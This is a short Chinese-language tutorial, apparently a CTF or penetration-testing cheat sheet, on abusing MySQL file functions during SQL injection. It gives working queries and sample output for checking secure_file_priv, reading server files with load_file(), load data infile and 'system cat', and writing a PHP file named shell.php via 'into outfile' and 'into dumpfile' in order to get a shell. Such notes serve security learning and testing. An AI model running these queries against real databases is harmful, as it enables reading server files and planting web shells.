Mysql对文件的操作

如果不能从数据库中获取数据,那么就要测试能否使用sql语句来读取文件内容,或者将shell写入到目标服务器文件中来getshell。总结总结mysql对文件的操作

查看可进行文件操作的目录

使用:

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like '%secure_file_priv%';

查看可以进行文件操作的目录:

1.如果查询的值为/tmp,说明只能在/tmp目录下进行文件的读写;

2.如果查询的值为空,说明没有限制读写目录;

3.如果查询的值为null,说明不允许进行文件读写

读文件

load_file()

用此函数直接读取文件内容并返回,需要绝对路径:

mysql> select load_file('/flag');
+--------------------+
| load_file('/flag') |
+--------------------+
| flag{test}         |
+--------------------+
1 row in set (0.00 sec)

load data infile

将文件内容写入到数据库,再从数据库中读取出内容即可:

mysql> select * from test;
Empty set (0.00 sec)

mysql> load data infile '/flag' into table test;                         
Query OK, 1 row affected (0.01 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from test;
+------------+
| name       |
+------------+
| flag{test} |
+------------+
1 row in set (0.00 sec)

system cat

mysql版本为5.x

mysql> system cat /flag;
flag{test}

写文件

条件:

  1. root权限
  2. GPC关闭(能使用单引号)
  3. 有绝对路径(读文件可以不用,写文件必须)
  4. 没有配置–secure-file-priv
  5. 成功条件:有读写的权限,有create、insert、select的权限

select into outfile

select '<?=phpinfo()?>' into outfile 'shell.php';

select into dumpfile

select '<?=phpinfo()?>' into dumpfile 'shell.php';